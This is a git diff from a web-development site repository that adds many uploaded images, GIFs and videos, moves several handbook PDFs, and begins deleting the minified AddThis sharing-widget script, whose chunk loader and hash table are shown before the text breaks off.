diff --git a/static/images/uploads/chrome_oKIMcC3StQ.png b/static/images/uploads/chrome_oKIMcC3StQ.png
new file mode 100644
index 0000000000..c88619fb31
Binary files /dev/null and b/static/images/uploads/chrome_oKIMcC3StQ.png differ
diff --git a/static/images/uploads/chrome_z7gswAaLMg.png b/static/images/uploads/chrome_z7gswAaLMg.png
new file mode 100644
index 0000000000..250862607c
Binary files /dev/null and b/static/images/uploads/chrome_z7gswAaLMg.png differ
diff --git a/static/images/uploads/circle-cropped (2).png b/static/images/uploads/circle-cropped (2).png
new file mode 100644
index 0000000000..d9158521b0
Binary files /dev/null and b/static/images/uploads/circle-cropped (2).png differ
diff --git a/static/images/uploads/code-299f1fc7.png b/static/images/uploads/code-299f1fc7.png
new file mode 100644
index 0000000000..87fe107c95
Binary files /dev/null and b/static/images/uploads/code-299f1fc7.png differ
diff --git a/static/images/uploads/code.png b/static/images/uploads/code.png
new file mode 100644
index 0000000000..2280577c21
Binary files /dev/null and b/static/images/uploads/code.png differ
diff --git a/static/images/uploads/console-log-browser-expanded.png b/static/images/uploads/console-log-browser-expanded.png
new file mode 100644
index 0000000000..92e3e3c80b
Binary files /dev/null and b/static/images/uploads/console-log-browser-expanded.png differ
diff --git a/static/images/uploads/console-log-browser.png b/static/images/uploads/console-log-browser.png
new file mode 100644
index 0000000000..ff0e723e9f
Binary files /dev/null and b/static/images/uploads/console-log-browser.png differ
diff --git a/static/images/uploads/contact.PNG b/static/images/uploads/contact.PNG
new file mode 100644
index 0000000000..948dd27892
Binary files /dev/null and b/static/images/uploads/contact.PNG differ
diff --git a/static/images/uploads/cool annimation (1).gif b/static/images/uploads/cool annimation (1).gif
new file mode 100644
index 0000000000..1858d8a86c
Binary files /dev/null and b/static/images/uploads/cool annimation (1).gif differ
diff --git a/static/images/uploads/cool annimation (2).gif b/static/images/uploads/cool annimation (2).gif
new file mode 100644
index 0000000000..1858d8a86c
Binary files /dev/null and b/static/images/uploads/cool annimation (2).gif differ
diff --git a/static/images/uploads/cool annimation.gif b/static/images/uploads/cool annimation.gif
new file mode 100644
index 0000000000..1858d8a86c
Binary files /dev/null and b/static/images/uploads/cool annimation.gif differ
diff --git a/static/images/uploads/cool-comet.png b/static/images/uploads/cool-comet.png
new file mode 100644
index 0000000000..8880b06ddf
Binary files /dev/null and b/static/images/uploads/cool-comet.png differ
diff --git a/static/images/uploads/cool-spider.jpg b/static/images/uploads/cool-spider.jpg
new file mode 100644
index 0000000000..b564988433
Binary files /dev/null and b/static/images/uploads/cool-spider.jpg differ
diff --git a/static/images/uploads/cover-letter.PNG b/static/images/uploads/cover-letter.PNG
new file mode 100644
index 0000000000..8c27c19d45
Binary files /dev/null and b/static/images/uploads/cover-letter.PNG differ
diff --git a/static/images/uploads/cow-say.png b/static/images/uploads/cow-say.png
new file mode 100644
index 0000000000..a62c044f66
Binary files /dev/null and b/static/images/uploads/cow-say.png differ
diff --git a/static/images/uploads/cube (1).gif b/static/images/uploads/cube (1).gif
new file mode 100644
index 0000000000..1cb0b9e292
Binary files /dev/null and b/static/images/uploads/cube (1).gif differ
diff --git a/static/images/uploads/cube (2).gif b/static/images/uploads/cube (2).gif
new file mode 100644
index 0000000000..1cb0b9e292
Binary files /dev/null and b/static/images/uploads/cube (2).gif differ
diff --git a/static/images/uploads/cube.gif b/static/images/uploads/cube.gif
new file mode 100644
index 0000000000..1cb0b9e292
Binary files /dev/null and b/static/images/uploads/cube.gif differ
diff --git a/static/images/uploads/curious-eggplant.jpg b/static/images/uploads/curious-eggplant.jpg
new file mode 100644
index 0000000000..f5aeee3b99
Binary files /dev/null and b/static/images/uploads/curious-eggplant.jpg differ
diff --git a/static/images/uploads/curious-europa (1).gif b/static/images/uploads/curious-europa (1).gif
new file mode 100644
index 0000000000..ae8cdf7aff
Binary files /dev/null and b/static/images/uploads/curious-europa (1).gif differ
diff --git a/static/images/uploads/curious-europa (2).gif b/static/images/uploads/curious-europa (2).gif
new file mode 100644
index 0000000000..ae8cdf7aff
Binary files /dev/null and b/static/images/uploads/curious-europa (2).gif differ
diff --git a/static/images/uploads/curious-europa.gif b/static/images/uploads/curious-europa.gif
new file mode 100644
index 0000000000..ae8cdf7aff
Binary files /dev/null and b/static/images/uploads/curious-europa.gif differ
diff --git a/static/images/uploads/curious-kangaroo (1).gif b/static/images/uploads/curious-kangaroo (1).gif
new file mode 100644
index 0000000000..7ad46531ba
Binary files /dev/null and b/static/images/uploads/curious-kangaroo (1).gif differ
diff --git a/static/images/uploads/curious-kangaroo (2).gif b/static/images/uploads/curious-kangaroo (2).gif
new file mode 100644
index 0000000000..7ad46531ba
Binary files /dev/null and b/static/images/uploads/curious-kangaroo (2).gif differ
diff --git a/static/images/uploads/curious-kangaroo.gif b/static/images/uploads/curious-kangaroo.gif
new file mode 100644
index 0000000000..7ad46531ba
Binary files /dev/null and b/static/images/uploads/curious-kangaroo.gif differ
diff --git a/static/images/uploads/curious-mustard.png b/static/images/uploads/curious-mustard.png
new file mode 100644
index 0000000000..2d660d2719
Binary files /dev/null and b/static/images/uploads/curious-mustard.png differ
diff --git a/static/images/uploads/data-struc2 (1).gif b/static/images/uploads/data-struc2 (1).gif
new file mode 100644
index 0000000000..91f093a1df
Binary files /dev/null and b/static/images/uploads/data-struc2 (1).gif differ
diff --git a/static/images/uploads/data-struc2 (2).gif b/static/images/uploads/data-struc2 (2).gif
new file mode 100644
index 0000000000..91f093a1df
Binary files /dev/null and b/static/images/uploads/data-struc2 (2).gif differ
diff --git a/static/images/uploads/data-struc2.gif b/static/images/uploads/data-struc2.gif
new file mode 100644
index 0000000000..91f093a1df
Binary files /dev/null and b/static/images/uploads/data-struc2.gif differ
diff --git a/static/images/uploads/daw.JPG b/static/images/uploads/daw.JPG
new file mode 100644
index 0000000000..579128c2b8
Binary files /dev/null and b/static/images/uploads/daw.JPG differ
diff --git a/static/images/uploads/demo (1).gif b/static/images/uploads/demo (1).gif
new file mode 100644
index 0000000000..246d6ba54f
Binary files /dev/null and b/static/images/uploads/demo (1).gif differ
diff --git a/static/images/uploads/demo (2).gif b/static/images/uploads/demo (2).gif
new file mode 100644
index 0000000000..246d6ba54f
Binary files /dev/null and b/static/images/uploads/demo (2).gif differ
diff --git a/static/images/uploads/demo.gif b/static/images/uploads/demo.gif
new file mode 100644
index 0000000000..246d6ba54f
Binary files /dev/null and b/static/images/uploads/demo.gif differ
diff --git a/static/images/uploads/diligent-steel.jpg b/static/images/uploads/diligent-steel.jpg
new file mode 100644
index 0000000000..b564988433
Binary files /dev/null and b/static/images/uploads/diligent-steel.jpg differ
diff --git a/static/images/uploads/diligent-tiger.PNG b/static/images/uploads/diligent-tiger.PNG
new file mode 100644
index 0000000000..bba9a02c89
Binary files /dev/null and b/static/images/uploads/diligent-tiger.PNG differ
diff --git a/static/images/uploads/display.png b/static/images/uploads/display.png
new file mode 100644
index 0000000000..0cac1d34a6
Binary files /dev/null and b/static/images/uploads/display.png differ
diff --git a/static/images/uploads/docs-d74e2940.png b/static/images/uploads/docs-d74e2940.png
new file mode 100644
index 0000000000..dcf8031ed7
Binary files /dev/null and b/static/images/uploads/docs-d74e2940.png differ
diff --git a/static/images/uploads/docs.png b/static/images/uploads/docs.png
new file mode 100644
index 0000000000..63e3b1a47f
Binary files /dev/null and b/static/images/uploads/docs.png differ
diff --git a/static/images/uploads/drive.png b/static/images/uploads/drive.png
new file mode 100644
index 0000000000..37b7c9b27d
Binary files /dev/null and b/static/images/uploads/drive.png differ
diff --git a/static/images/uploads/ds-algo (1).gif b/static/images/uploads/ds-algo (1).gif
new file mode 100644
index 0000000000..c05546b508
Binary files /dev/null and b/static/images/uploads/ds-algo (1).gif differ
diff --git a/static/images/uploads/ds-algo (2).gif b/static/images/uploads/ds-algo (2).gif
new file mode 100644
index 0000000000..c05546b508
Binary files /dev/null and b/static/images/uploads/ds-algo (2).gif differ
diff --git a/static/images/uploads/ds-algo.gif b/static/images/uploads/ds-algo.gif
new file mode 100644
index 0000000000..c05546b508
Binary files /dev/null and b/static/images/uploads/ds-algo.gif differ
diff --git a/static/images/uploads/ds.PNG b/static/images/uploads/ds.PNG
new file mode 100644
index 0000000000..69bd2a046d
Binary files /dev/null and b/static/images/uploads/ds.PNG differ
diff --git a/static/images/uploads/dtw (1).gif b/static/images/uploads/dtw (1).gif
new file mode 100644
index 0000000000..d2959e6e91
Binary files /dev/null and b/static/images/uploads/dtw (1).gif differ
diff --git a/static/images/uploads/dtw (2).gif b/static/images/uploads/dtw (2).gif
new file mode 100644
index 0000000000..d2959e6e91
Binary files /dev/null and b/static/images/uploads/dtw (2).gif differ
diff --git a/static/images/uploads/dtw.PNG b/static/images/uploads/dtw.PNG
new file mode 100644
index 0000000000..215a8eef1a
Binary files /dev/null and b/static/images/uploads/dtw.PNG differ
diff --git a/static/images/uploads/dtw.gif b/static/images/uploads/dtw.gif
new file mode 100644
index 0000000000..d2959e6e91
Binary files /dev/null and b/static/images/uploads/dtw.gif differ
diff --git a/static/images/uploads/dtw.jpg b/static/images/uploads/dtw.jpg
new file mode 100644
index 0000000000..91be7d637b
Binary files /dev/null and b/static/images/uploads/dtw.jpg differ
diff --git a/static/images/uploads/eaf976e3-e635-43a6-a123-bece3ed69898.jpeg b/static/images/uploads/eaf976e3-e635-43a6-a123-bece3ed69898.jpeg
new file mode 100644
index 0000000000..4f8605ee27
Binary files /dev/null and b/static/images/uploads/eaf976e3-e635-43a6-a123-bece3ed69898.jpeg differ
diff --git a/static/images/uploads/energetic-sunflower.png b/static/images/uploads/energetic-sunflower.png
new file mode 100644
index 0000000000..c542fc9f2f
Binary files /dev/null and b/static/images/uploads/energetic-sunflower.png differ
diff --git a/static/images/uploads/enhanced (1).png b/static/images/uploads/enhanced (1).png
new file mode 100644
index 0000000000..48a2bfe29f
Binary files /dev/null and b/static/images/uploads/enhanced (1).png differ
diff --git a/static/images/uploads/enthusiastic-oregano.png b/static/images/uploads/enthusiastic-oregano.png
new file mode 100644
index 0000000000..db19f53818
Binary files /dev/null and b/static/images/uploads/enthusiastic-oregano.png differ
diff --git a/static/images/uploads/enthusiastic-tiger.png b/static/images/uploads/enthusiastic-tiger.png
new file mode 100644
index 0000000000..b06f98e41f
Binary files /dev/null and b/static/images/uploads/enthusiastic-tiger.png differ
diff --git a/static/images/uploads/equation.gif b/static/images/uploads/equation.gif
new file mode 100644
index 0000000000..97107237ba
Binary files /dev/null and b/static/images/uploads/equation.gif differ
diff --git a/static/images/uploads/es6 (1).jpg b/static/images/uploads/es6 (1).jpg
new file mode 100644
index 0000000000..ccb7902bc4
Binary files /dev/null and b/static/images/uploads/es6 (1).jpg differ
diff --git a/static/images/uploads/es6.jpg b/static/images/uploads/es6.jpg
new file mode 100644
index 0000000000..ccb7902bc4
Binary files /dev/null and b/static/images/uploads/es6.jpg differ
diff --git a/static/images/uploads/eventloop (1).gif b/static/images/uploads/eventloop (1).gif
new file mode 100644
index 0000000000..82a8a04920
Binary files /dev/null and b/static/images/uploads/eventloop (1).gif differ
diff --git a/static/images/uploads/eventloop (2).gif b/static/images/uploads/eventloop (2).gif
new file mode 100644
index 0000000000..82a8a04920
Binary files /dev/null and b/static/images/uploads/eventloop (2).gif differ
diff --git a/static/images/uploads/eventloop.gif b/static/images/uploads/eventloop.gif
new file mode 100644
index 0000000000..82a8a04920
Binary files /dev/null and b/static/images/uploads/eventloop.gif differ
diff --git a/static/images/uploads/exception-call-stack.png b/static/images/uploads/exception-call-stack.png
new file mode 100644
index 0000000000..1ecdb17aad
Binary files /dev/null and b/static/images/uploads/exception-call-stack.png differ
diff --git a/static/images/uploads/execution-order-first-example.png b/static/images/uploads/execution-order-first-example.png
new file mode 100644
index 0000000000..a7f1ed3c92
Binary files /dev/null and b/static/images/uploads/execution-order-first-example.png differ
diff --git a/static/images/uploads/execution-order-second-example.png b/static/images/uploads/execution-order-second-example.png
new file mode 100644
index 0000000000..461a0db658
Binary files /dev/null and b/static/images/uploads/execution-order-second-example.png differ
diff --git a/static/images/uploads/express.png b/static/images/uploads/express.png
new file mode 100644
index 0000000000..11f1e6429c
Binary files /dev/null and b/static/images/uploads/express.png differ
diff --git a/docs/content/books/expresshandbook.pdf b/static/images/uploads/expresshandbook.pdf
similarity index 100%
rename from docs/content/books/expresshandbook.pdf
rename to static/images/uploads/expresshandbook.pdf
diff --git a/static/images/uploads/ezgif.com-gif-maker (1).mp4 b/static/images/uploads/ezgif.com-gif-maker (1).mp4
new file mode 100644
index 0000000000..38c77ffbbd
Binary files /dev/null and b/static/images/uploads/ezgif.com-gif-maker (1).mp4 differ
diff --git a/static/images/uploads/ezgif.com-gif-maker (2).mp4 b/static/images/uploads/ezgif.com-gif-maker (2).mp4
new file mode 100644
index 0000000000..3d60a2fb60
Binary files /dev/null and b/static/images/uploads/ezgif.com-gif-maker (2).mp4 differ
diff --git a/static/images/uploads/ezgif.com-gif-maker (3).mp4 b/static/images/uploads/ezgif.com-gif-maker (3).mp4
new file mode 100644
index 0000000000..b1e9ffb69f
Binary files /dev/null and b/static/images/uploads/ezgif.com-gif-maker (3).mp4 differ
diff --git a/static/images/uploads/ezgif.com-gif-maker.mp4 b/static/images/uploads/ezgif.com-gif-maker.mp4
new file mode 100644
index 0000000000..38c77ffbbd
Binary files /dev/null and b/static/images/uploads/ezgif.com-gif-maker.mp4 differ
diff --git a/static/images/uploads/fairlawn.PNG b/static/images/uploads/fairlawn.PNG
new file mode 100644
index 0000000000..707b82cab4
Binary files /dev/null and b/static/images/uploads/fairlawn.PNG differ
diff --git a/favicon.png b/static/images/uploads/favicon-750d4390.png
similarity index 100%
rename from favicon.png
rename to static/images/uploads/favicon-750d4390.png
diff --git a/static/images/uploads/favicon.ico b/static/images/uploads/favicon.ico
new file mode 100644
index 0000000000..528854ffac
Binary files /dev/null and b/static/images/uploads/favicon.ico differ
diff --git a/static/images/uploads/favicon.png b/static/images/uploads/favicon.png
new file mode 100644
index 0000000000..51b9df5069
Binary files /dev/null and b/static/images/uploads/favicon.png differ
diff --git a/static/images/violet-pluto.png b/static/images/uploads/festive-zebra.png
similarity index 100%
rename from static/images/violet-pluto.png
rename to static/images/uploads/festive-zebra.png
diff --git a/static/images/uploads/fft.jpg b/static/images/uploads/fft.jpg
new file mode 100644
index 0000000000..246e260ff7
Binary files /dev/null and b/static/images/uploads/fft.jpg differ
diff --git a/static/images/uploads/fierce-aspen.png b/static/images/uploads/fierce-aspen.png
new file mode 100644
index 0000000000..2d660d2719
Binary files /dev/null and b/static/images/uploads/fierce-aspen.png differ
diff --git a/static/images/uploads/fillmurray.jpg b/static/images/uploads/fillmurray.jpg
new file mode 100644
index 0000000000..b575b88fee
Binary files /dev/null and b/static/images/uploads/fillmurray.jpg differ
diff --git a/static/images/uploads/friendly-basil.png b/static/images/uploads/friendly-basil.png
new file mode 100644
index 0000000000..2d660d2719
Binary files /dev/null and b/static/images/uploads/friendly-basil.png differ
diff --git a/static/images/uploads/friendly-thyme.png b/static/images/uploads/friendly-thyme.png
new file mode 100644
index 0000000000..2280577c21
Binary files /dev/null and b/static/images/uploads/friendly-thyme.png differ
diff --git a/static/images/uploads/futuristic-mars (1).gif b/static/images/uploads/futuristic-mars (1).gif
new file mode 100644
index 0000000000..1396d236d4
Binary files /dev/null and b/static/images/uploads/futuristic-mars (1).gif differ
diff --git a/static/images/uploads/futuristic-mars (2).gif b/static/images/uploads/futuristic-mars (2).gif
new file mode 100644
index 0000000000..1396d236d4
Binary files /dev/null and b/static/images/uploads/futuristic-mars (2).gif differ
diff --git a/static/images/uploads/futuristic-mars.gif b/static/images/uploads/futuristic-mars.gif
new file mode 100644
index 0000000000..1396d236d4
Binary files /dev/null and b/static/images/uploads/futuristic-mars.gif differ
diff --git a/static/images/uploads/gatsby-cli (1).png b/static/images/uploads/gatsby-cli (1).png
new file mode 100644
index 0000000000..971df4032a
Binary files /dev/null and b/static/images/uploads/gatsby-cli (1).png differ
diff --git a/static/images/uploads/gatsby-cli (2).png b/static/images/uploads/gatsby-cli (2).png
new file mode 100644
index 0000000000..971df4032a
Binary files /dev/null and b/static/images/uploads/gatsby-cli (2).png differ
diff --git a/static/images/uploads/gif-4mb (1).gif b/static/images/uploads/gif-4mb (1).gif
new file mode 100644
index 0000000000..7ad46531ba
Binary files /dev/null and b/static/images/uploads/gif-4mb (1).gif differ
diff --git a/static/images/uploads/gif-4mb (2).gif b/static/images/uploads/gif-4mb (2).gif
new file mode 100644
index 0000000000..7ad46531ba
Binary files /dev/null and b/static/images/uploads/gif-4mb (2).gif differ
diff --git a/static/images/uploads/git-html-preview (1).gif b/static/images/uploads/git-html-preview (1).gif
new file mode 100644
index 0000000000..1396d236d4
Binary files /dev/null and b/static/images/uploads/git-html-preview (1).gif differ
diff --git a/static/images/uploads/git-html-preview (2).gif b/static/images/uploads/git-html-preview (2).gif
new file mode 100644
index 0000000000..1396d236d4
Binary files /dev/null and b/static/images/uploads/git-html-preview (2).gif differ
diff --git a/static/images/uploads/great-olive (1).gif b/static/images/uploads/great-olive (1).gif
new file mode 100644
index 0000000000..1858d8a86c
Binary files /dev/null and b/static/images/uploads/great-olive (1).gif differ
diff --git a/static/images/uploads/great-olive (2).gif b/static/images/uploads/great-olive (2).gif
new file mode 100644
index 0000000000..1858d8a86c
Binary files /dev/null and b/static/images/uploads/great-olive (2).gif differ
diff --git a/static/images/uploads/great-olive.gif b/static/images/uploads/great-olive.gif
new file mode 100644
index 0000000000..1858d8a86c
Binary files /dev/null and b/static/images/uploads/great-olive.gif differ
diff --git a/static/images/uploads/green-spruce-4e3a1745.png b/static/images/uploads/green-spruce-4e3a1745.png
new file mode 100644
index 0000000000..2280577c21
Binary files /dev/null and b/static/images/uploads/green-spruce-4e3a1745.png differ
diff --git a/static/images/uploads/green-spruce.png b/static/images/uploads/green-spruce.png
new file mode 100644
index 0000000000..2280577c21
Binary files /dev/null and b/static/images/uploads/green-spruce.png differ
diff --git a/docs/content/books/htmlhandbook.pdf b/static/images/uploads/htmlhandbook.pdf
similarity index 100%
rename from docs/content/books/htmlhandbook.pdf
rename to static/images/uploads/htmlhandbook.pdf
diff --git a/static/images/uploads/iframes (1).gif b/static/images/uploads/iframes (1).gif
new file mode 100644
index 0000000000..db1591a3dd
Binary files /dev/null and b/static/images/uploads/iframes (1).gif differ
diff --git a/static/images/uploads/iframes (2).gif b/static/images/uploads/iframes (2).gif
new file mode 100644
index 0000000000..db1591a3dd
Binary files /dev/null and b/static/images/uploads/iframes (2).gif differ
diff --git a/static/images/uploads/javascript (1).gif b/static/images/uploads/javascript (1).gif
new file mode 100644
index 0000000000..c4264443f2
Binary files /dev/null and b/static/images/uploads/javascript (1).gif differ
diff --git a/static/images/uploads/javascript (2).gif b/static/images/uploads/javascript (2).gif
new file mode 100644
index 0000000000..c4264443f2
Binary files /dev/null and b/static/images/uploads/javascript (2).gif differ
diff --git a/static/images/uploads/javascript-4ced5a19 (1).gif b/static/images/uploads/javascript-4ced5a19 (1).gif
new file mode 100644
index 0000000000..c4264443f2
Binary files /dev/null and b/static/images/uploads/javascript-4ced5a19 (1).gif differ
diff --git a/static/images/uploads/javascript-4ced5a19 (2).gif b/static/images/uploads/javascript-4ced5a19 (2).gif
new file mode 100644
index 0000000000..c4264443f2
Binary files /dev/null and b/static/images/uploads/javascript-4ced5a19 (2).gif differ
diff --git a/static/images/uploads/kind-panda (1).gif b/static/images/uploads/kind-panda (1).gif
new file mode 100644
index 0000000000..fa2c722632
Binary files /dev/null and b/static/images/uploads/kind-panda (1).gif differ
diff --git a/static/images/uploads/kind-panda (2).gif b/static/images/uploads/kind-panda (2).gif
new file mode 100644
index 0000000000..fa2c722632
Binary files /dev/null and b/static/images/uploads/kind-panda (2).gif differ
diff --git a/static/images/uploads/kind-whale (1).gif b/static/images/uploads/kind-whale (1).gif
new file mode 100644
index 0000000000..e4d3ea4834
Binary files /dev/null and b/static/images/uploads/kind-whale (1).gif differ
diff --git a/static/images/uploads/kind-whale (2).gif b/static/images/uploads/kind-whale (2).gif
new file mode 100644
index 0000000000..e4d3ea4834
Binary files /dev/null and b/static/images/uploads/kind-whale (2).gif differ
diff --git a/static/images/uploads/lambda-demo (1).gif b/static/images/uploads/lambda-demo (1).gif
new file mode 100644
index 0000000000..5369c2530e
Binary files /dev/null and b/static/images/uploads/lambda-demo (1).gif differ
diff --git a/static/images/uploads/lambda-demo (2).gif b/static/images/uploads/lambda-demo (2).gif
new file mode 100644
index 0000000000..6eed3824a9
Binary files /dev/null and b/static/images/uploads/lambda-demo (2).gif differ
diff --git a/static/images/uploads/lambda-demo.gif b/static/images/uploads/lambda-demo.gif
new file mode 100644
index 0000000000..3e44f1913c
Binary files /dev/null and b/static/images/uploads/lambda-demo.gif differ
diff --git a/static/images/uploads/linuxcommandshandbook.pdf b/static/images/uploads/linuxcommandshandbook.pdf
new file mode 100644
index 0000000000..1858d8a86c
Binary files /dev/null and b/static/images/uploads/linuxcommandshandbook.pdf differ
diff --git a/docs/content/books/nodehandbook.pdf b/static/images/uploads/nodehandbook.pdf
similarity index 100%
rename from docs/content/books/nodehandbook.pdf
rename to static/images/uploads/nodehandbook.pdf
diff --git a/docs/content/books/reactbeginnershandbook.pdf b/static/images/uploads/reactbeginnershandbook.pdf
similarity index 100%
rename from docs/content/books/reactbeginnershandbook.pdf
rename to static/images/uploads/reactbeginnershandbook.pdf
diff --git a/static/js/addthis.js b/static/js/addthis.js
deleted file mode 100644
index 5a0a7d1548..0000000000
--- a/static/js/addthis.js
+++ /dev/null
@@ -1,17084 +0,0 @@
-/*!
-AddThis - v8.28.7 - 20201026;
-*/
-!((e) => {
-    function t(n) {
-        if (a[n]) return a[n].exports;
-        var i = (a[n] = {
-            exports: {},
-            id: n,
-            loaded: !1
-        });
-        return e[n].call(i.exports, i, i.exports, t), (i.loaded = !0), i.exports;
-    }
-    var n = window.atwpjp;
-    window.atwpjp = (a, o) => {
-        for (var r, s, d = 0, u = []; d < a.length; d++)(s = a[d]), i[s] && u.push(...i[s]), (i[s] = 0);
-        for (r in o)
-            if (Object.prototype.hasOwnProperty.call(o, r)) {
-                var c = o[r];
-                switch (typeof c) {
-                    case 'object':
-                        e[r] = ((t) => {
-                            var n = t.slice(1);
-                            var a = t[0];
-                            return function(t, i, o) {
-                                e[a].apply(this, [t, i, o].concat(n));
-                            };
-                        })(c);
-                        break;
-                    case 'function':
-                        e[r] = c;
-                        break;
-                    default:
-                        e[r] = e[c];
-                }
-            }
-        for (n && n(a, o); u.length;) u.shift().call(null, t);
-    };
-    var a = {};
-    var i = {
-        0: 0
-    };
-    return (
-        (t.e = (e, n) => {
-            if (0 === i[e]) return n.call(null, t);
-            if (void 0 !== i[e]) i[e].push(n);
-            else {
-                i[e] = [n];
-                var a = document.getElementsByTagName('head')[0];
-                var o = document.createElement('script');
-                (o.type = 'text/javascript'),
-                (o.charset = 'utf-8'),
-                (o.async = !0),
-                (o.src =
-                    t.p +
-                    '' +
-                    ({
-                        1: 'custom-messages',
-                        210: 'menu',
-                        212: 'custom-messages-preview',
-                        214: 'floating-css',
-                        216: 'layers',
-                        217: 'getcounts',
-                        218: 'counter'
-                    } [e] || e) +
-                    '.' + {
-                        1: '5799ddf75a30812a3d49',
-                        2: '6966a403b3cfb8943161',
-                        3: '18406c0682bbf20d7ae9',
-                        4: '02abcfa1a0659445a8b0',
-                        5: 'c858a0474d6f432ddde1',
-                        6: '7b8dd93b26a99ffb633f',
-                        7: 'e048cee4aad31f454041',
-                        8: 'f3a92010076708c4e181',
-                        9: '4c0d1103fdabbe2e7e84',
-                        10: '7ec41e60a81ffd1363af',
-                        11: '634a81100783b67037b2',
-                        12: '54c9be051e4d729605fe',
-                        13: '6483d16d6f451a148b2a',
-                        14: '2dfb61b890959f78272d',
-                        15: '5056cc4db6fe9b5202d0',
-                        16: '9f42569c8f6b5e876527',
-                        17: 'f3550324e9fc4fd95701',
-                        18: '9d144470724e9dad4377',
-                        19: 'aeba02b396b4bc480429',
-                        20: '340513f6c4e32e05c00b',
-                        21: '74dc9c40d470c3682a3e',
-                        22: 'cb02170720a080e0893e',
-                        23: '0128f6034876e8167015',
-                        24: 'f2563f02a42fad84760c',
-                        25: '1addcbc5e81d58ffb478',
-                        26: '3bc25261093e4e621d83',
-                        27: 'b19236fc1114f3874e03',
-                        28: '8e4135752fd3a94f792b',
-                        29: '0d4aedf8f2a48d0a320a',
-                        30: '417238b6189548d6d32e',
-                        31: '082d10d618d6f9542eee',
-                        32: 'bcbc16adc6765e8231b3',
-                        33: 'aa596a12bdccab2afa9c',
-                        34: '9fbebb2067403cf85aa3',
-                        35: 'ad6cb070c7b089fa9f82',
-                        36: '06e88097971ac09bdfa4',
-                        37: 'd9ae5fc21339c037239e',
-                        38: '9652f09e3895052ae525',
-                        39: '00689b15ed7c6c93fd89',
-                        40: '614358af07be00922cad',
-                        41: '4500c63d1c815c4b2783',
-                        42: '4906d4fc64de854d66c8',
-                        43: '68e1704d0fa9e9d0ac9e',
-                        44: '5f75c40b1e45215dcbb1',
-                        45: '1885e84a5bad87da2596',
-                        46: 'da1e95b3df6f3b54f988',
-                        47: 'eb2190120011a1bf9dc0',
-                        48: '008759e9efe1c1b693dd',
-                        49: '91be5aaa1f487654b215',
-                        50: 'f0727b4e25289c63dd46',
-                        51: '18d65dee9e26de246a6a',
-                        52: '99d0aa06f65170571a5e',
-                        53: '6ebe30bbc924401dcb4b',
-                        54: '0486f28cbbf392a2d6de',
-                        55: '7c746f62fe4b457cdc2b',
-                        56: '3b2293100d598b9df716',
-                        57: 'b71532bc9c9073a94a1c',
-                        58: 'c678c434f24c5bdf2233',
-                        59: '634091d50373a4cfe7e5',
-                        60: 'ef5abb1fc55e88aeb35e',
-                        61: 'c368e25f8817a9f8b82d',
-                        62: 'a0f40eb00a5e4a9a97e8',
-                        63: '932b7731434dfbe6e255',
-                        64: 'db03809b508b8d274ae9',
-                        65: '355d6fd57b7f916dcae0',
-                        66: 'fea9dee23cda16e664e8',
-                        67: '32ffc4c3f7e5bad2a216',
-                        68: 'dd81e638ad7c2d2ae300',
-                        69: '48c74a9eeb3410e9c5bd',
-                        70: '2c08bb56c6205825f837',
-                        71: 'b4e2813138fa96bee6c7',
-                        72: '0fab4e26a447771c9f95',
-                        73: 'dfd9b3ed45cb6b673856',
-                        74: '6c09a0add42d6c24ccb3',
-                        75: '10772f92e16b2007a81b',
-                        76: 'f5e4c5ee6c10bf566157',
-                        77: '944a9f94710cb55d4971',
-                        78: 'b3a3e1dd1cb5306a0585',
-                        79: 'b2b05b2959834cc82987',
-                        80: 'c6c21998944f5b0fca8d',
-                        81: '41c511b0ce4e0c7cc1be',
-                        82: '513466d0781b3cc4fa57',
-                        83: '29d188c4b362a69ea20a',
-                        84: 'f7005d2c38eb86581ea8',
-                        85: '9447f980295b89d97f6b',
-                        86: 'a45fc92b2cf54c3e01b2',
-                        87: '024e7af4f67b9f0e68f2',
-                        88: 'dbab93538abf890ad130',
-                        89: 'c8f8bbf1d52fe057b666',
-                        90: '6a2a17eee75842c1f0ed',
-                        91: 'f0327f23454a55006603',
-                        92: '5ebf752b80719022d723',
-                        93: '5a32fe357569d1f25da1',
-                        94: '9f7cf398491af96c3159',
-                        95: '881fa263113c90d569ed',
-                        96: 'c6e29c0a397cf58adf7f',
-                        97: 'e33350c53ef86ac7fa9a',
-                        98: '5ae0a6393ee1c11ac35a',
-                        99: '2ac72003902d6c71812e',
-                        100: '17feec3d215fd90d3df4',
-                        101: '5b4e935f444bd5e67080',
-                        102: '4692be347a9e31f3b506',
-                        103: '9a2ab3cbe417f66f4a81',
-                        104: '23db9a7d4cff10ad14fc',
-                        105: '0a402ccc5e265c54a690',
-                        106: '87f9819f657e28641a9e',
-                        107: '8cb3eacbab9b70dcf917',
-                        108: '52ed89042621660914e0',
-                        109: 'c515dda6d67712d2af65',
-                        110: '81b4ac3e9e3f08fa5687',
-                        111: 'e2e4eb4afc8f8e2af051',
-                        112: '2870e2d324f70b5594f6',
-                        113: '881d50a00ee3efaac840',
-                        114: 'baad615d0dba989efadd',
-                        115: '23a27b0bc26899254aea',
-                        116: '37ef4b3dd46563f32d94',
-                        117: '8c1cd7f0222dc28f8a3b',
-                        118: '460f67f69d76efc6c4c8',
-                        119: 'c9c32087dab0e3ddc632',
-                        120: '1e6565cb5c311b9fd9c4',
-                        121: '91e588654dd27764aea8',
-                        122: '51a0371b5e8c53e942f7',
-                        123: '4b74023a622e8ee005f9',
-                        124: '4bab59996b24313642de',
-                        125: 'c67f34a1c8d546f5900e',
-                        126: '4dbb2569d4e5a34e683c',
-                        127: '292dec20138ad66b448d',
-                        128: '478770a73670ed5f14f7',
-                        129: '6bf3fa0b112b4628b1da',
-                        130: '6d85fa0f7cf15ffe8c74',
-                        131: '1322b2dea743afbb6846',
-                        132: '2027a83a5810fd4f75ba',
-                        133: '567954d2317419cf45ad',
-                        134: 'f0c4a0c17a83211e0471',
-                        135: '61d9e5ed184870d7887c',
-                        136: 'aa2aad058e20bbb0d3a4',
-                        137: '77a61a16efda64324c07',
-                        138: '790b1ad52a7478b093db',
-                        139: 'a1a0d37daf3158e2404b',
-                        140: '61020b6c086bdb8bc696',
-                        141: 'd01f4312d1c5ed340a22',
-                        142: 'feb3b57b86599b08d012',
-                        143: '3d8bb49f121080f7c65c',
-                        144: '145922425febd366fe41',
-                        145: 'f175df648ae9daae4b13',
-                        146: '392a43d24e6d90bd9099',
-                        147: '1581dc34512966c2ddb7',
-                        148: 'bad59025489b81a88bd8',
-                        149: 'aff945d1dc324cdbb007',
-                        150: 'c3bdd8bfd8e39be66584',
-                        151: '67aec2e0546e639563bb',
-                        152: '8503c93ddaedc720b593',
